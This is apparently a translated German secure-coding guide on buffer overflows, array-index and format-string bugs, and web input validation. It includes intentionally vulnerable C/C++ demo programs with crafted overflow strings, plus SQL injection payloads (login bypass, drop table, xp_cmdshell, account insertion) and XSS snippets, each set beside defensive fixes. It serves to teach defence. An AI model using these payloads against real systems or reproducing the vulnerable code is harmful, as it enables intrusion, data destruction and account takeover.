#include <stdlib.h>
#include <string.h>

/*
  Very flawed class to demonstrate a problem
*/

class BadStringBuf
{
public:
    BadStringBuf(void)
    {
        m_buf = NULL;
    }

    ~BadStringBuf(void)
    {
        if(m_buf != NULL)
            free(m_buf);
    }

    void Init(char* buf)
    {
        //Really bad code
        m_buf = buf;
    }

    void SetString(const char* input)
    {
        //This is stupid.
        strcpy(m_buf, input);
    }

    const char* GetString(void)
    {
        return m_buf;
    }

private:
    char* m_buf;
};

//Declare a pointer to the BadStringBuf class to hold our input.
BadStringBuf* g_pInput = NULL;

void bar(void)
{
    printf("You have been hacked!\n");
}

void BadFunc(const char* input1, const char* input2)
{
    //Someone said that heap overruns were not exploitable,
    //so allocate the buffer on the heap.

    char* buf = NULL;
    char* buf2;

    buf2 = (char*)malloc(16);
    g_pInput = new BadStringBuf;
    buf = (char*)malloc(16);
    //Bad programmer - no error checking on allocations

    g_pInput->Init(buf2);

    //The worst that can happen is a crash, right?
    strcpy(buf, input1);

    g_pInput->SetString(input2);

    printf("input 1 = %s\ninput2 = %s\n", buf, g_pInput->GetString());

    if(buf != NULL)
        free(buf);

}

int main(int argc, char* argv[])
{
    //Simulated argv strings
    char arg1[128];

    //This is the address of the bar function.
    char arg2[4] = {0x0f, 0x10, 0x40, 0};
    int offset = 0x40;

    //Using 0xfd is an evil trick to overcome heap corruption checking.
    //The 0xfd value at the end of the buffer checks for corruption.
    //No error checking here – it is just an example of how to
    //construct an overflow string.
    memset(arg1, 0xfd, offset);
    arg1[offset]   = (char)0x94;
    arg1[offset+1] = (char)0xfe;
    arg1[offset+2] = (char)0x12;
    arg1[offset+3] = 0;
    arg1[offset+4] = 0;

    printf("Address of bar is %p\n", bar);
    BadFunc(arg1, arg2);

    if(g_pInput != NULL)
        delete g_pInput;

    return 0;
}

Bei Betrachtung dieses Beispielcodes lässt sich nachvollziehen, dass BadFunc von einem Programmierer geschrieben wurde, der davon ausging, dass Heapüberläufe nicht ausgenutzt werden können. Dieser Programmierer hat ebenfalls die C++-Klasse BadStringBuf geschrieben, die den Zeiger auf den Eingabepuffer aufnimmt. Deren beste Funktion besteht in der Vermeidung von Speicherlecks durch Freigabe des Puffers im Destruktor. Wenn der BadStringBuf-Puffer nicht mit der Speicherzuweisungsfunktion malloc initialisiert wird, führt der Aufruf der free-Funktion unter Umständen zu Problemen.

Ein Angreifer würde bemerken, dass diese Anwendung größer wird, wenn das erste oder zweite Argument zu lang wird. Außerdem zeigt die Adresse des Fehlers (die in der Fehlermeldung angegeben wird), dass die Beschädigung des Speichers im Heap auftritt. Der Angreifer startet das Programm dann in einem Debugger und sucht nach der Position der ersten Eingabezeichenfolge. Welcher Speicher würde vermutlich neben diesem Puffer liegen? Nach kurzer Suche stellt sich heraus, dass das zweite Argument in einen weiteren dynamisch zugewiesenen Puffer geschrieben wird. Wo befindet sich der Zeiger auf diesen Puffer? Die Suche nach den Bytes, die mit der Adresse des zweiten Puffers übereinstimmen, liefert den Zeiger auf den zweiten Puffer, der sich lediglich 0x40 Byte hinter dem Beginn des ersten Puffers befindet. Jetzt kann der Angreifer diesen Zeiger beliebig ändern. Jede Zeichenfolge, die als zweites Argument übergeben wird, kann somit an jede beliebige Stelle im Speicherbereich der Anwendung geschrieben werden.

Wie im ersten Beispiel ist es das Ziel des Angreifers, die bar-Funktion auszuführen. Der nächste Schritt besteht darin, den Zeiger zu überschreiben, um auf die Adresse 0x0012fe94 (in diesem Beispiel) zu verweisen. Diese ist in diesem Fall die Stelle im Stapel, an der sich die Rücksprungadresse für die BadFunc-Funktion befindet.

Der Angreifer passt die zweite Zeichenfolge so an, dass sie den Speicher an der Adresse 0x0012fe94 auf die Position der bar-Funktion (0x0040100f) setzt. Bei dieser Vorgehensweise wird der Stapel vom Angreifer nicht zerstört. Mechanismen, die die Integrität des Stapels sicherstellen, reagieren daher nicht auf Änderungen. Bei der schrittweisen Ausführung der Anwendung erhält der Angreifer folgende Ergebnisse:

Address of bar is 0040100F
input 1 = 2222222222222222222222222222222222222222222222222222ö??
input2 = *4@
You have been hacked!

Beachten Sie, dass der Angreifer diesen Code im Fehlersuchmodus ausführen und schrittweise durchlaufen kann, da sich die Stapelüberprüfung im Fehlersuchmodus von Visual C++ nicht auf den Heap bezieht.


Fehler bei der Indizierung von Arrays

Fehler bei der Indizierung von Arrays werden erheblich seltener ausgenutzt als Pufferüberläufe. Da Puffer jedoch lediglich ein Array von Zeichen darstellen, können Arrays mit anderen Typen ebenfalls dazu verwendet werden, Informationen an beliebige Speicherpositionen zu schreiben.

Mit folgendem Beispielcode wird dargestellt, wie ein Fehler bei der Indizierung dazu verwendet werden kann, Informationen an beliebige Speicherpositionen zu schreiben.

/*
    ArrayIndexError.cpp
*/

#include <stdio.h>
#include <stdlib.h>

int* IntVector;

void bar(void)
{
    printf("You have been hacked!\n");
}

void InsertInt(unsigned long index, unsigned long value)
{
    printf("Writing memory at %p\n", &(IntVector[index]));

    IntVector[index] = value;
}

bool InitVector(int size)
{
    IntVector = (int*)malloc(sizeof(int)*size);
    printf("Address of IntVector is %p\n", IntVector);

    if(IntVector == NULL)
        return false;
    else
        return true;
}

int main(int argc, char* argv[])
{
    unsigned long index, value;

    if(argc != 3)
    {
        printf("Usage is %s [index] [value]\n");
        return -1;
    }

printf("Address of bar is %p\n", bar);

    //Initialize the vector - 64 KB should be enough for
    //anyone <g>.
    if(!InitVector(0xffff))
    {
        printf("Cannot initialize vector!\n");
        return -1;
    }

    index = atol(argv[1]);
    value = atol(argv[2]);

    InsertInt(index, value);
    return 0;
}

Ein typischer Angriff mit dieser Art von Fehler tritt auf, wenn ein Benutzer Sie über die Anzahl der zu erwartenden Elemente informiert und dieser dann beliebigen Zugriff auf das erstellte Array erhält, da Sie keine Überprüfung der Grenzen festgelegt haben.

Das Array im Beispiel beginnt bei 0x00510048. Bei dem vom Angreifer geschriebenen Wert handelt es sich aller Wahrscheinlichkeit nach um den Rückgabewert auf dem Stapel, der sich bei 0x0012FF84 befindet. Die folgende Gleichung beschreibt, wie die Adresse eines einzelnen Arrayelements durch die Startadresse des Arrays, den Index und die Größe der Arrayelemente festgelegt wird.

Address of array element = base of array + index * sizeof(element)

Durch Einsetzen der Werte in die Gleichung wird folgendes Ergebnis erzeugt:

0x10012FF84 = 0x00510048 + index * 4

Beachten Sie, dass in der Gleichung 0x10012FF84 anstelle von 0x0012FF84 verwendet wird. Mithilfe von Calc.exe lässt sich schnell ermitteln, dass der Index die Adresse 0x3FF07FCF bzw. 1072725967 (dezimal) hat und die Adresse von bar 0x00401000 bzw. 4198400 (dezimal) ist. Dies sind die Programmergebnisse:

[d:\]ArrayIndexError.exe 1072725967 4198400
Address of bar is 00401000
Address of IntVector is 00510048
Writing memory at 0012FF84
You have been hacked!

Wie Sie sehen können, lässt sich diese Art von Fehler problemlos ausnutzen, wenn der Angreifer Zugriff auf einen Debugger hat.


Fehler in Formatzeichenfolgen

Fehler in Formatzeichenfolgen sind nicht direkt mit Pufferüberläufen zu vergleichen. Da sie jedoch dieselben Probleme zur Folge haben, wurden sie in diesem Abschnitt berücksichtigt.

Das grundlegende Problem bei Fehlern in Formatzeichenfolgen ergibt sich aus der Tatsache, dass es für eine Funktion, die eine variable Anzahl von Argumenten aufnimmt, keine realistische Möglichkeit gibt, die Anzahl der übergebenen Argumente zu bestimmen. (Bei den am häufigsten verwendeten Funktionen einschließlich C-Laufzeitfunktionen, die eine variable Anzahl von Argumenten aufnehmen, handelt es sich um Aufrufe aus der printf-Familie.) Das Interessante an diesem Problem ist, dass die Formatangabe %n die Anzahl der Bytes in den für dieses Argument gelieferten Zeiger schreibt, die eigentlich von der Formatzeichenfolge in den Zeiger hätten geschrieben werden sollen. Nach kurzer Suche werden Sie herausfinden, dass Bits im Speicher des Prozesses scheinbar zufällig mit den Bytes des Angreifers überschrieben wurden. Die Ausnutzung derartiger Fehler gestaltet sich auf Windows-Systemen etwas schwierig, da sich viele der zu schreibenden Speicherbereiche an der Adresse 0x00ffffff oder darunter befinden. Der Stapel beispielsweise befindet sich in der Regel im Bereich von ungefähr 0x00120000.

Die Lösung des Problems ist relativ einfach: Führen Sie eine Übergabe an die Funktionen aus der printf-Familie immer in einer Formatzeichenfolge durch. Die Funktion printf(input); ist beispielsweise ausnutzbar, die Funktion printf("%s", input); jedoch nicht.

Wenn Sie es einem Angreifer ermöglichen, Speicher an beliebige Positionen in der Anwendung zu schreiben, ist es nur eine Frage der Zeit, dass der Angreifer die Anwendung zum Absturz bringt bzw. beliebigen Code ausführen lässt. Dieser Fehler lässt sich leicht vermeiden. Seien Sie besonders vorsichtig, wenn Sie zur Unterstützung von Anwendungsversionen in verschiedenen Sprachen benutzerdefinierte Formatzeichenfolgen gespeichert haben. Stellen Sie in diesem Fall sicher, dass die Zeichenfolgen nicht von unbefugten Benutzern geschrieben werden können.


Unterschiedliche Puffergrößen für Unicode und ANSI

Pufferüberläufe, die durch unterschiedliche Puffergrößen für Unicode und ANSI hervorgerufen werden, sind ein auf Windows-Plattformen häufig anzutreffendes Problem. Es tritt auf, wenn Sie die Anzahl der Elemente mit der Größe in Bytes eines Unicodepuffers durcheinanderbringen. Dafür können zwei Ursachen verantwortlich sein: Microsoft Windows NT und höhere Versionen unterstützen ANSI- und Unicode-Zeichenfolgen. Die meisten Unicodefunktionen verwenden zur Angabe von Puffergrößen Breitzeichen und keine Bytegrößen.

Die am häufigsten verwendete Funktion, die für diese Art von Fehler anfällig ist, ist die Funktion MultiByteToWideChar. Betrachten Sie folgenden Code:

BOOL GetName(char *szName)
{
    WCHAR wszUserName[256];

    // Convert ANSI name to Unicode.
    MultiByteToWideChar(CP_ACP, 0,
                        szName,
                        -1,
                        wszUserName,
                        sizeof(wszUserName));
    // Snip

}

Das Problem entsteht durch das letzte Argument der Funktion MultiByteToWideChar. Der an diesen Aufruf übergebene Wert ist sizeof(wszUserName), eine 256 Zeichen umfassende Unicode-Zeichenfolge. Ein Breitzeichen besteht aus zwei Bytes, d. h., sizeof(wszUserName) umfasst tatsächlich 512 Bytes. Die Funktion geht folglich davon aus, dass die Größe des Puffers 512 Breitzeichen beträgt. Da sich wszUserName auf dem Stapel befindet, besteht die Möglichkeit zur Ausnutzung eines Pufferüberlaufs.

Gehen Sie zur korrekten Erstellung dieser Funktion folgendermaßen vor:

    MultiByteToWideChar(CP_ACP, 0,
                        szName,
                        -1,
                        wszUserName,
                        sizeof(wszUserName) / sizeof(wszUserName[0]));


Vermeiden von Pufferüberläufen

Die Vermeidung von Pufferüberläufen ist ein Mittel zur Erstellung einer vor Angriffen geschützten Anwendung. Ein ausgezeichnetes Buch zu diesem Thema ist Nie wieder Bugs von Steve Maguire (Microsoft Press, 1993).

Die wichtigste Maßnahme, die zur Vermeidung von Pufferüberläufen ergriffen werden kann, besteht in der permanenten Überprüfung sämtlicher Eingaben. Ebenfalls sollte nichts über die interne Implementierung der Funktion und nichts mit Ausnahme der erwarteten Eingabe und Ausgabe der Funktion außerhalb der Funktion verfügbar sein.

Sichere Verarbeitung von Zeichenfolgen

Am häufigsten treten Pufferüberläufe bei der Verarbeitung von Zeichenfolgen auf. Die in diesem Abschnitt besprochenen Probleme mit Single-Byte-Versionen treffen ebenfalls auf die Funktionen zur Verarbeitung von Zeichenfolgen mit Breitzeichen zu. Darüber hinaus werden die Funktionen lstrcpy, lstrcat und lstrcpyn von Windows-Systemen unterstützt, und die Windows-Shell enthält vergleichbare aus der Datei Shlwapi.dll exportierte Funktionen, z. B. StrCpy, StrCat und StrCpyN. Obwohl die lstr-Familie von Aufrufen geringfügig abweicht und die Aufrufe je nach Definition einer LPTSTR-Zeichenfolge durch die Anwendung sowohl mit Single-Byte- als auch Multibyte-Zeichensätzen zusammenarbeiten, treten dieselben Probleme auf wie bei den gängigeren ANSI-Versionen.

Funktion | Kommentar
strcpy | Die Funktion strcpy ist strukturbedingt unsicher und sollte nur im Ausnahmefall verwendet werden. Weist entweder der Ziel- oder der Quellpuffer den Wert Null auf, wird die Ausnahmebehandlung ausgeführt. Ist die Quellzeichenfolge länger als der Zielpuffer, kommt es zu einem Überlauf.
strncpy | Diese Funktion ist sicherer als die Funktion strcpy. Die Übergabe des Wertes Null oder eines anderen unzulässigen Zeigers für Quelle oder Ziel löst Ausnahmen aus.
sprintf | Es gibt fast keine Möglichkeit zur sicheren Verwendung dieser Funktion. Es ist schwierig, vor dem Aufrufen von sprintf sicherzustellen, dass der Puffer für die Daten ausreichend lang ist.
_snprintf | Diese flexible und sichere Funktion gewährleistet nicht, dass der Puffer mit Null endet. Geben Sie für die Zeichenanzahl ein Zeichen weniger als die Puffergröße an, um das nachgestellte Nullzeichen aufnehmen zu können, und schließen Sie den Puffer mit einem Null-Zeichen ab.
Standard Template Library Strings (STL) | Beim Erstellen von C++-Code können Sie die STL-Funktion verwenden. Diese Funktion verfügt über mehrere nützliche Member-Funktionen, die zum Auffinden von Zeichen und Zeichenfolgen in einer anderen Zeichenfolge sowie zum Kürzen der Zeichenfolge verwendet werden können.
gets und fgets | Die Funktion gets sollte nicht verwendet werden. Es gibt keine Möglichkeit festzustellen, ob die Funktion gets zu einem Überlauf des Puffers führt. Verwenden Sie die Funktion fgets oder stattdessen ein C++-Datenstromobjekt.


Häufige Fehler bei der Websicherheit

Daten müssen beim Übergang zwischen nicht vertrauenswürdigen und vertrauenswürdigen Umgebungen überprüft werden. Definitionsgemäß handelt es sich bei vertrauenswürdigen Daten um Daten, die von Ihnen oder einer vertrauenswürdigen Einheit vollständig gesteuert werden. Nicht vertrauenswürdige Daten beziehen sich auf alle anderen Bereiche. Sämtliche von einem Benutzer übermittelten Daten werden zunächst als nicht vertrauenswürdige Daten eingestuft.

Dieser Abschnitt beinhaltet folgende Themen:

  • Anfälligkeit gegenüber Benutzereingaben
  • Beispiel für die Verwendung von verwaltetem Code zur Erstellung vertrauenswürdiger Eingaben
  • Verletzung der Sicherheit: Keine Größenbeschränkungen
  • Verletzung der Sicherheit: Verwenden direkter Benutzereingaben in SQL-Anweisungen
  • Behandlung von Benutzereingaben


Anfälligkeit gegenüber Benutzereingaben

Alle Webanwendungen führen bestimmte Aktionen auf der Basis von Benutzeranfragen durch. Gültige Daten sollten festgelegt und alle anderen Eingaben zurückgewiesen werden.

Das folgende Beispiel basiert auf ASP-Code (Active Server Pages) von einer Website, auf der Websitedesignern empfohlen wird, folgenden Microsoft® JScript®-Code in ihren ASP-basierten Anwendungen zu verwenden, um formularbasierte Authentifizierung zu implementieren:

// Get the username and password from the form.
if (isValidUserAndPwd(Request.form("name"),
                      Request.form("pwd"))) {
    Response.write("Authenticated!");
} else {
    Response.write("Access Denied");
}

function isValidUserAndPwd(strName, strPwd) {
    var fValid = false;
    var oConn = new ActiveXObject("ADODB.Connection");
    oConn.Open("Data Source=c:\\auth\\auth.mdb;");

    var strSQL = "SELECT count(*) FROM client WHERE " +
        "name='" + strName + "' " +
        “ and pwd='" + strPwd + "'";
    var oRS = new ActiveXObject("DODB.RecordSet");
    oRS.Open(strSQL, oConn);
    fValid = (oRS(0).Value > 0) ? true : false;

    oRS.Close();
    delete oRS;
    oConn.Close();
    delete oConn;

    return fValid;
}

Im Folgenden wird der Clientcode dargestellt, der zum Senden des Benutzernamens und Kennworts über HTTP POST an den JScript-Code verwendet wird:

<FORM ACTION="Logon.asp" METHOD=POST>
    <INPUT TYPE=text MAXLENGTH=32 NAME=name>
    <INPUT TYPE=password MAXLENGTH=32 NAME=pwd>
    <INPUT TYPE=submit NAME=submit VALUE="Logon">
</FORM>

Der Benutzer gibt einen Benutzernamen und ein Kennwort ein, indem er das oben angezeigte HTML-Formular verwendet und anschließend auf die Anmeldeschaltfläche klickt. Der ASP-Code verwendet den angegebenen Benutzernamen sowie das Kennwort, um eine SQL-Anweisung zum Abfragen einer Datenbank zu erstellen. Ist die von der Abfrage zurückgegebene Zeilenanzahl größer als Null (SELECT count(*) gibt die Anzahl der von der SQL-Abfrage zurückgegebenen Zeilen zurück), gilt die Kombination aus Benutzername und Kennwort als gültig, und der Benutzer kann sich am System anmelden.

Sowohl Client- als auch Servercode sind jedoch eine potentielle Fehlerquelle, da bei dieser Lösung eine direkte Benutzereingabe für den Zugriff auf die Datenbank verwendet wird, ohne dass die Eingabe auf ihre Gültigkeit überprüft wird. Die Daten werden von einer nicht vertrauenswürdigen Quelle (einem Benutzer) an eine vertrauenswürdige Quelle (die SQL-Datenbank unter Kontrolle der Anwendung) übertragen.

Angenommen, ein wohlgesinnter Benutzer gibt den Benutzernamen "Blake" und das Kennwort "$qu1r+," ein, wobei folgende SQL-Anweisung erstellt wird:

SELECT count(*) FROM client
WHERE name='Blake'
AND pwd='$qu1r+'

Handelt es sich hierbei um eine gültige Kombination aus Benutzernamen und Kennwort, gibt count(*) einen Wert von mindestens 1 zurück, und der Benutzer kann auf das System zugreifen. Die Abfrage gibt unter Umständen einen Wert größer als 1 zurück, wenn zwei Benutzer mit demselben Benutzernamen und Kennwort vorhanden sind oder wenn ein verwaltungsbedingter Fehler zu einer zweimaligen Eingabe der Daten führt.

Da weder der Benutzername noch das Kennwort von der ASP-Anwendung überprüft wird, kann der Angreifer beliebige Eingaben senden.

Siehe auch

Kein direktes Vertrauen gegenüber Benutzereingaben


Kein direktes Vertrauen gegenüber Benutzereingaben

Sie dürfen Benutzereingaben niemals direkt vertrauen, insbesondere dann nicht, wenn diese anonym erfolgen. Beachten Sie die beiden folgenden Regeln: Vertrauen Sie niemals einer Benutzereingabe, und überprüfen Sie sämtliche Daten, die von einer nicht vertrauenswürdigen an eine vertrauenswürdige Domäne übertragen werden.

Ein Szenario für eine böswillige Benutzereingabe, auf die Sie vorbereitet sein sollten, tritt auf, wenn die Anwendung Benutzereingaben zum Erstellen von Ausgaben für andere Benutzer verwendet. Beachten Sie beispielsweise die Auswirkungen auf die Sicherheit, wenn Sie einen Webdienst bereitstellen, der es Benutzern ermöglicht, für andere Benutzer des Systems Produktbesprechungen zu erstellen und zu versenden, die vor dem Kauf des jeweiligen Produkts als Entscheidungshilfe herangezogen werden können. Stellen Sie sich vor, ein Angreifer zieht das Produkt B dem Produkt A vor. Der Angreifer erstellt einen Kommentar zu Produkt A, der gemeinsam mit den anderen Besprechungen auf der Website für Produkt A angezeigt wird. Der Kommentar lautet jedoch wie folgt:

<meta http-equiv="refresh"
    content="2;URL=http://www.northwindtraders.com/productb.aspx">

Mit diesem HTML-Code wird der Browser des Benutzers auf die Produktseite für Produkt B weitergeleitet, nachdem dieser 2 Sekunden die Seite für Produkt A angezeigt hat.


Beispiel für die Verwendung von verwaltetem Code zum Erstellen einer vertrauenswürdigen Eingabe

Der folgende Code zeigt ein Beispiel für die Verwendung von verwaltetem Code zur Erstellung einer vertrauenswürdigen Eingabe.

using System.Data.SQLClient;
using System.Data.SQLTypes;public static SqlMoney FreightByCargo(string company) {
SqlCommand cmd = new SqlCommand();
cmd.CommandText = "select sum(cost) as cost " +
         "from orders "  +
         "where companyname = '" + company + "'"; return cmd.ExecuteScalar();
}

In den folgenden Beispielen wird dargestellt, warum dieser Code falsch ist und wie er von Angreifern ausgenutzt werden kann.

Benutzereingabe: Beispiel für die erwartete gültige Eingabe

Name: Foo Corp
SELECT sum(cost)
FROM orders
WHERE companyname='Foo Corp'

Angreifereingabe: Tatsächliche Eingabe eines Angreifers

Name: Blah' or 1=1 --
SELECT sum(cost)
FROM orders
WHERE companyname='Blah' or 1=1 -- '

Die böswillige Eingabe in diesem Beispiel lautet 'Blah' or 1=1 -- '. Diese Eingabe ist böswillig, da der Angreifer auf diese Weise feststellen kann, ob SQL-Anweisungen unter Verwendung von Standardrechten auf Benutzerebene in den Code eingefügt werden können.

Böswillige Angreifereingabe

Name: b' drop table orders --
SELECT sum(cost)
FROM orders
WHERE companyname= 'b' drop table orders -- '

Die böswillige Eingabe in diesem Beispiel lautet b' drop table orders -- . Diese Eingabe ist böswillig, da Sie es dem Angreifer ermöglicht, eine SQL-Anweisung in drop-Tabellen einzufügen. Hierzu muss der Angreifer jedoch über Rechte auf der Ebene db_owner verfügen.

Äußerst böswillige Angreifereingabe

Name: b' xp_cmdshell('fdisk.exe') --
SELECT sum(cost)
FROM orders
WHERE companyname= 'b' xp_cmdshell('fdisk.exe') -- '

Die böswillige Eingabe in diesem Beispiel lautet b' xp_cmdshell('fdisk.exe') – . Diese Eingabe ist böswillig, da sie vom Angreifer zum Ausführen von Befehlen auf Systemebene (Modus zum Ausführen von Befehlszeilen aus der Shell) verwendet werden kann. Hierzu muss der Angreifer jedoch in der Lage sein, mithilfe von sa-Rechten eine Verbindung mit der Datenbank des SQL-Servers herzustellen.

Beispiel für sicheren verwalteten Code

In folgendem Codebeispiel wird dargestellt, wie die zuvor beschriebenen Angriffe erfolgreich abgewehrt werden können.

using System.Data.SqlServer;
using System.Data.SqlTypes; public static SqlMoney FreightByCargo(string company) {
SqlCommand cmd = new SqlCommand();
cmd.CommandText = "select sum(cost) as cost" +
"from orders " +
"where companyname = @CompanyName";
SqlParameter param = cmd.Parameters.Add("@CompanyName",
company);
return cmd.ExecuteScalar( );
}


Verletzung der Sicherheit: Keine Größenbeschränkungen

Wenn die Größe der Clientdaten weder beschränkt noch überprüft wird, können Angreifer beliebige Datenmengen senden. Dies kann zu Sicherheitsproblemen führen, wenn ein noch unbekannter Pufferüberlauf im Datenbankcode vorhanden ist, der durch Aufrufen der SQL-Abfrage ausgelöst wird. Bei näherer Betrachtung kann ein Angreifer die mit dem vorherigen HTML-Formularcode des Client festgelegte maximale Größenbeschränkung (32 Zeichen pro Feld) für Kennwort und Benutzernamen problemlos umgehen, indem er den Clientcode nicht verwendet. Stattdessen verwendet der Angreifer eigens in beispielsweise Perl erstellten Clientcode oder einen Telnet-Client.

In folgendem Beispiel wird ein gültiges HTML-Formular an die Datei Logon.asp gesendet, wobei der Benutzername und das Kennwort jedoch aus 32.000 A's besteht.

use HTTP::Request::Common qw(POST GET);
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
$req = POST 'http://www.northwindtraders.com/Logon.asp',
         [ pwd => 'A' x 32000,
           name => 'A' x 32000,
         ];
$res = $ua->request($req);

Vertrauen Sie nicht auf clientseitige HTML-Sicherheitsprüfungen. Wie in diesem Beispiel dargestellt, können derartige Kontrollen außer Kraft gesetzt werden, indem der Client umgangen wird.


Verletzung der Sicherheit: Verwenden direkter Benutzereingaben in SQL-Anweisungen

Da die Eingabe nicht vertrauenswürdig ist und nicht auf Gültigkeit überprüft wurde, kann ein Angreifer die Semantik der SQL-Anweisung ändern. Im folgenden Beispiel gibt der Angreifer einen ungültigen Benutzernamen und ein ungültiges Kennwort (die Eingabe für beide Felder lautet "b" or "1" = "1") ein. Dies führt zur Erstellung der folgenden gültigen SQL-Anweisung.

SELECT count(*)
FROM client
WHERE name='b' or '1'='1' and pwd='b' or '1'='1'

Diese Anweisung gibt für die Anzahl der Zeilen in jedem Fall einen Wert größer als eins zurück, da das Fragment "'1' = '1'" auf beiden Seiten der AND-Klausel wahr ist. Der Angreifer wird ohne Kenntnis eines gültigen Benutzernamens bzw. Kennworts authentifiziert. Mit dieser Eingabe wurde die Funktionsweise der SQL-Abfrage geändert.

Ein weiteres Beispiel: Ein Angreifer, der einen Benutzernamen kennt und das zugehörige Benutzerkonto vortäuschen möchte, kann dies mithilfe von SQL-Kommentaren tun, z. B. Anhand von zwei Bindestrichen (--) in Microsoft SQL Server oder dem Nummernzeichen (#) in mySQL. Andere Datenbanken verwenden das Semikolon (;) als Kommentarsymbol. Statt "'b' or '1' = '1,'" gibt der Angreifer "Cheryl' --," ein. Dies führt zur Erstellung der folgenden zulässigen SQL-Anweisung:

SELECT count(*)
FROM client
WHERE name='Cheryl' --and pwd=''

Bei Vorhandensein des Benutzernamens "Cheryl" im System kann sich der Angreifer anmelden, da er den Rest der SQL-Anweisung auskommentiert hat, die das Kennwort ausgewertet. Folglich wird das Kennwort nicht überprüft.

SQL-Anweisungen können verknüpft werden. Folgende SQL-Anweisung ist beispielsweise gültig:

SELECT * from client INSERT into client VALUES ('me', 'URHacked')

Diese Zeile setzt sich aus zwei SQL-Anweisungen zusammen. Die erste Anweisung wählt alle Zeilen aus der Clienttabelle aus, während die zweite eine neue Zeile in dieselbe Tabelle einfügt.

Hinweis

  • Einer der Gründe für die Eignung der INSERT-Anweisung für einen Angreifer besteht darin, dass sich die meisten Benutzer mithilfe von privilegierten Konten, z. B. dem sysadmin-Konto (sa) in SQL Server, mit SQL-Datenbanken verbinden. Dies ist ein weiterer Grund, beim Entwurf von Webanwendungen möglichst geringe Berechtigungen vorzusehen.

Ein Angreifer kann diese ASP-Anmeldeseite verwenden und den Benutzernamen "'b' INSERT INTO client VALUES ('me', 'URHacked') --," eingeben. Dies führt zur Erstellung der folgenden SQL-Anweisung:

SELECT count(*)
FROM client
WHERE name='b' INSERT INTO client VALUES ('me', 'URHacked') --and pwd=''

Das Kennwort wird nicht überprüft, da dieser Teil der Abfrage auskommentiert wurde. Darüber hinaus hat der Angreifer eine neue Zeile mit dem Benutzernamen "me" und dem Kennwort "URHacked" hinzugefügt. Der Angreifer kann sich nun unter Verwendung von "me" und "URHacked" anmelden.


Behandlung von Benutzereingaben

Wie bei allen Problemen mit Benutzereingaben besteht die wichtigste Aufgabe darin, gültige Eingaben zu bestimmen und alle weiteren Eingaben zurückzuweisen. Weitere Möglichkeiten sind vorhanden und bieten erweiterte Funktionalität, haben aber unter Umständen negative Auswirkungen auf die Sicherheit.

Die folgenden Vorgehensweisen verringern die Gefahr von Benutzereingaben:

  • Bestimmung gültiger Eingaben und Zurückweisung aller anderen Eingaben.
  • Verwendung regulärer Ausdrücke.
  • Anzeige von Benutzereingaben nur nach genauer Überprüfung.
  • Kennwörter sind problematisch: Umgehen Sie diese mithilfe von Server.URLEncode oder HttpServerUtility.URLEncode.
  • Keine Verwendung des "sa"-Kontos zum Anmelden am SQL-Server über eine beliebige Anwendung. Dies widerspricht dem Prinzip der geringsten Berechtigungen.
  • Keine Erstellung von SQL-Zeichenfolgen.
  • Verwendung von Platzhaltern oder gespeicherten Prozeduren.

Dieser Abschnitt beinhaltet folgende Themen:

  • Vorgehensweisen zur Überprüfung von Eingaben
  • Unbedingte Einhaltung der Einschränkungen für gültige Eingaben


Vorgehensweisen zur Überprüfung von Eingaben

Es empfiehlt sich vor der Bereitstellung der Site, sämtliche Einsprungpunkte der Anwendung zu nummerieren: Sockets, RPCs, Named Pipes, Dateien, Registrierungsschlüssel, SOAP-Parameter, HTTP-Header, Formularwerte, Abfragezeichenfolgen usw. Verwenden Sie anschließend ein Tool, dass Sicherheitsvorkehrungen umgehen kann, z. B. Perl, C# oder C++. Erstellen Sie eine zu lange, eine zu kurze, eine nicht vorhandene oder eine Eingabe mit falschem Datentyp, und führen Sie eine Überprüfung durch.


Unbedingte Einhaltung der Einschränkungen für gültige Eingaben

Die Zeichen für einen Benutzernamen können auf eine geringe Anzahl von gültigen Zeichen beschränkt werden, z. B. A-Z, a-z und 0-9. Der folgende serverseitige JScript-Ausschnitt zeigt die Erstellung und Verwendung eines regulären Ausdrucks zum Analysieren des Benutzernamens auf dem Server:

// Determine whether user name is valid.
// Valid format is 1 to 32 alphanumeric characters.
var reg = /^[A-Za-z0-9]{1,32}$/g;
if (reg.test(Request.form("name")) > 0) {
    // Username is valid.
} else {
    // Username is invalid.
}

Beachten Sie die Verwendung der 'g'-Option am Ende dieses Ausdrucks. Dies ist die global-Option, die den regulären Ausdruck dazu veranlasst, alle Eingaben auf dieses Muster zu überprüfen. Andernfalls wird nur die erste Zeile überprüft. Wenn die global-Option nicht festgelegt ist, kann dies gravierende Folgen haben, sofern der Angreifer die Eingabe auf mehrere Zeilen erweitern kann.

Dieser reguläre Ausdruck beschränkt den Benutzernamen nicht nur auf eine geringe Anzahl von Zeichen, sondern garantiert darüber hinaus, dass die Anzahl der Zeichen in der Zeichenfolge zwischen 1 und 32 liegt.

Hinweis

  • Beachten Sie die Verwendung von "^" und "$" im regulären Ausdruck. Diese geben an, dass alle Zeichen vom Anfang (^) bis zum Ende ($) der Eingabe mit diesem regulären Ausdruck übereinstimmen müssen. Andernfalls stimmt der reguläre Ausdruck unter Umständen nur mit einem Teil der Zeichenfolge überein. /[A-Za-z0-9]{1,32}/ würde beispielsweise nur einem beliebigen Teil der Eingabezeichenfolge entsprechen. HTML-Tags oder Skriptfragmente, z. B. <script>alert("hi!")</script>, würden übereinstimmen, da das Wort "script" im Ausdruck vorkommt.

Der Code sollte einen regulären Ausdruck auf alle Eingaben anwenden, unabhängig davon, ob es sich um einen Teil eines Formulars, einen HTTP-Header oder eine Abfragezeichenfolge handelt.

Bei dem als Abfragezeichenfolge an den Webserver übergebenen Dateinamen würde folgender regulärer Ausdruck, der einen gültigen Dateinamen darstellt (Verzeichnisse oder Laufwerkbuchstaben sind nicht zulässig), sämtliche Versuche zur Verwendung von Skriptfragmenten als Teil der Abfragezeichenfolge abwehren:

// Determine whether filename is valid.
// Valid format is 1 to 24 alphanumeric characters
// followed by a period, and 1 to 3 alpha characters.
var reg = /^[A-Za-z0-9]{1,24}\.[A-Za-z]{1,3}$/g;
if (reg.test(Request.Querystring("file")) > 0) {
    // Valid filename.
} else {
    // Invalid filename.
}

Ein häufig von Webdesignern begangener Fehler besteht in der Zulassung von "sicheren" HTML-Konstrukten. Hierbei kann ein Benutzer beispielsweise <IMG>- oder <TABLE>-Tags an die Webanwendung senden. In diesem Fall kann der Benutzer neben den HTML-Tags nur Klartext senden. Vermeiden Sie diesen Fehler. Eine von siteübergreifenden Skripts ausgehende Gefahr ist weiterhin gegeben, da der Angreifer in bestimmte Tags Skriptfragmente einbetten kann.

Einige Beispiele hierzu:

<img src=javascript:alert(document.domain)>
